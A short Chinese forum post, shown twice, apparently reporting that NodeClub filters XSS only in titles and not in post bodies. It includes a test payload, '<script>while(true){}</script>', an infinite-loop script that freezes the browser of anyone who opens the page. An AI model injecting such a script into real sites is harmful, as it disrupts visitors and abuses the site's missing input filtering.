发现nodeclub貌似只对标题用了xss过滤？内容没有？但是发js代码没影响，折腾的博客，打开就直接执行js代码了。
<script>while(true){}</script>
作者
发现nodeclub貌似只对标题用了xss过滤？内容没有？但是发js代码没影响，折腾的博客，打开就直接执行js代码了。
<script>while(true){}</script>
